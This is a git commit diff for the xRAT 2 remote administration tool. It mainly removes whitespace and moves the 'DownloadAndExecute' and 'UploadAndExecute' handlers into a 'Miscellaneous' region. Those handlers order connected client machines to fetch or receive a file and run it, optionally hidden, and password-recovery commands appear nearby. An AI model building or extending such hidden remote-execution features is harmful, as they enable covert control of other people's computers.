Minor changes, removed some spaces

This commit is contained in:
MaxXor 2014-07-30 17:18:17 +02:00
parent 21fc728d64
commit 9834d819d9
2 changed files with 37 additions and 42 deletions

View File

@ -166,10 +166,7 @@ namespace Core
Process(null, e);
}
else
{
Disconnect();
}
}
catch
{
@ -204,7 +201,6 @@ namespace Core
}
}) { IsBackground = true }.Start();
}
private void KeepAliveCallback(object state)
@ -216,7 +212,6 @@ namespace Core
keepAlive.Client.Disconnect();
_keepAlives.Remove(keepAlive);
}
}
internal void HandleKeepAlivePacket(KeepAliveResponse packet, Client client)
@ -262,6 +257,5 @@ namespace Core
OnClientState(s, false);
}
}
}
}

View File

@ -21,6 +21,7 @@ namespace xRAT_2.Forms
XMLSettings.AutoListen = bool.Parse(XMLSettings.ReadValue("AutoListen"));
XMLSettings.ShowPopup = bool.Parse(XMLSettings.ReadValue("ShowPopup"));
XMLSettings.Password = XMLSettings.ReadValue("Password");
// fallback for old settings
XMLSettings.UseUPnP = bool.Parse((!string.IsNullOrEmpty(XMLSettings.ReadValue("UseUPnP"))) ? XMLSettings.ReadValue("UseUPnP") : "False");
if (bool.Parse(XMLSettings.ReadValue("ShowToU")))
@ -310,24 +311,6 @@ namespace xRAT_2.Forms
}
}
private void ctxtDownloadAndExecute_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count != 0)
{
using (var frm = new frmDownloadAndExecute(lstClients.SelectedItems.Count))
{
if (frm.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
foreach (ListViewItem lvi in lstClients.SelectedItems)
{
Client c = (Client)lvi.Tag;
new Core.Packets.ServerPackets.DownloadAndExecute(DownloadAndExecute.URL, DownloadAndExecute.RunHidden).Execute(c);
}
}
}
}
}
private void ctxtTaskManager_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count != 0)
@ -358,24 +341,6 @@ namespace xRAT_2.Forms
}
}
private void ctxtUploadAndExecute_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count != 0)
{
using (var frm = new frmUploadAndExecute(lstClients.SelectedItems.Count))
{
if (frm.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
foreach (ListViewItem lvi in lstClients.SelectedItems)
{
Client c = (Client)lvi.Tag;
new Core.Packets.ServerPackets.UploadAndExecute(UploadAndExecute.File, UploadAndExecute.FileName, UploadAndExecute.RunHidden).Execute(c);
}
}
}
}
}
private void ctxtPasswordRecovery_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count != 0)
@ -454,6 +419,42 @@ namespace xRAT_2.Forms
#endregion
#region "Miscellaneous"
private void ctxtDownloadAndExecute_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count != 0)
{
using (var frm = new frmDownloadAndExecute(lstClients.SelectedItems.Count))
{
if (frm.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
foreach (ListViewItem lvi in lstClients.SelectedItems)
{
Client c = (Client)lvi.Tag;
new Core.Packets.ServerPackets.DownloadAndExecute(DownloadAndExecute.URL, DownloadAndExecute.RunHidden).Execute(c);
}
}
}
}
}
private void ctxtUploadAndExecute_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count != 0)
{
using (var frm = new frmUploadAndExecute(lstClients.SelectedItems.Count))
{
if (frm.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
foreach (ListViewItem lvi in lstClients.SelectedItems)
{
Client c = (Client)lvi.Tag;
new Core.Packets.ServerPackets.UploadAndExecute(UploadAndExecute.File, UploadAndExecute.FileName, UploadAndExecute.RunHidden).Execute(c);
}
}
}
}
}
private void ctxtVisitWebsite_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count != 0)